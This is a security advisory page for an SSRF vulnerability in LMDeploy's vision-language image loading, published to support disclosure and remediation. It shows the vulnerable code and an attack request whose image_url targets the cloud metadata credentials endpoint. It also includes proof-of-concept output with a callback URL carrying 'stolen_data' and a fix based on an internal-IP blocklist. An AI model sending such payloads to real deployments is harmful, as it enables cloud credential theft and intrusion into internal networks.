CVE-2026-33626: LMDeploy has Server-Side Request Forgery (SSRF) via Vision-Language Image Loading
Summary A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The loadimage() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.
Published Apr 21, 2026 · Updated Sep 23, 2026
Affected packages
lmdeploy
- Ecosystem
- PyPI
- Affected
- <= 0.12.2
- Fixed in
- No patched version yet
- Check
pip show lmdeploy
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.
Affected Versions
- Tested on: main branch (2026-02-04)
- Affected: All versions prior to 0.12.3
Vulnerable Code
File: lmdeploy/vl/utils.py (lines 64-67)
def load_image(image_url: Union[str, Image.Image]) -> Image.Image:
# ...
if image_url.startswith('http'):
response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)
# NO VALIDATION OF URL/IP BEFORE REQUESTAlso affected: encode_image_base64() function (lines 26-29)
Root Cause
- No validation of URLs before fetching
- No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)
- Server binds to
0.0.0.0by default (api_server.py line 1393) - API keys disabled by default
Attack Scenario
- LMDeploy server deployed with vision-language model
- Attacker sends request to
/v1/chat/completionswith maliciousimage_url:
POST /v1/chat/completions
{
"model": "internlm-xcomposer2",
"messages": [{
"role": "user",
"content": [
{"type": "text", "text": "Describe this image"},
{"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}
]
}]
}- Server fetches URL without validation
- Attacker receives cloud credentials
Proof of Concept
Verified Exploitation Result
╔═══════════════════════════════════════════════════════════════════════╗
║ LMDeploy SSRF Vulnerability - Proof of Concept ║
╚═══════════════════════════════════════════════════════════════════════╝
[1] Starting callback server on port 8889...
[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY
[3] Calling vulnerable load_image() function...
======================================================================
[+] SSRF CALLBACK RECEIVED!
======================================================================
Time: 2026-02-04 16:10:57
Path: /SSRF_PROOF?stolen_data=AWS_SECRET_KEY
Client: 127.0.0.1:51154
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...
======================================================================
✅ SSRF VULNERABILITY CONFIRMED!Impact
- Cloud Credential Theft: Access AWS/GCP/Azure metadata APIs
- Internal Service Access: Reach services not exposed to internet
- Information Disclosure: Port scan internal networks
- Lateral Movement: Pivot point for further attacks
Recommended Fix
from urllib.parse import urlparse
import ipaddress
import socket
BLOCKED_NETWORKS = [
ipaddress.ip_network('127.0.0.0/8'),
ipaddress.ip_network('10.0.0.0/8'),
ipaddress.ip_network('172.16.0.0/12'),
ipaddress.ip_network('192.168.0.0/16'),
ipaddress.ip_network('169.254.0.0/16'),
]
def is_safe_url(url: str) -> bool:
try:
parsed = urlparse(url)
if parsed.scheme not in ('http', 'https'):
return False
ip = socket.gethostbyname(parsed.hostname)
ip_addr = ipaddress.ip_address(ip)
return not any(ip_addr in network for network in BLOCKED_NETWORKS)
except:
return False---
Credit
This vulnerability was discovered as part of Orca Security's research.
Researcher: Igor Stepansky Organization: Orca Security Emails: [email protected] [email protected]
Credited to stepanskyigor-orca, kexinoh.
References
- https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq
- https://nvd.nist.gov/vuln/detail/CVE-2026-33626
- https://github.com/InternLM/lmdeploy/pull/4447
- https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626
- https://github.com/InternLM/lmdeploy/releases/tag/v0.12.3
- https://github.com/advisories/GHSA-6w67-hwm5-92mq
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More PyPI vulnerabilities
All PyPI entriesCVE-2025-66455
LMDeploy has Remote Code Execution by Pickle Deserialization via handle_zmq_recv in lmdeploy/lmdeploy/pytorch/disagg/conn/engine_conn.py
critical9.8Sep 18, 2026CVE-2026-33625
LMDeploy vulnerable to arbitrary code execution via eval() of untrusted quant_dtype in model config loading
high8.8Sep 18, 2026CVE-2026-123818
LMDeploy has an SSRF bypass
high7.5Sep 18, 2026CVE-2025-59953
LMdeploy has Remote Code Execution by Pickle Deserialization via zmq_rpc.call_and_response() in InterLM/lmdeploy
critical9.8Sep 16, 2026CVE-2026-46432
LMDeploy: Arbitrary code execution via hardcoded trust_remote_code=True in lmdeploy model initialization
high7.8May 21, 2026CVE-2026-46517
lmdeploy: Hardcoded trust_remote_code=True is an implicit unsafe remote-code load path with no user opt-out
high7.8May 21, 2026
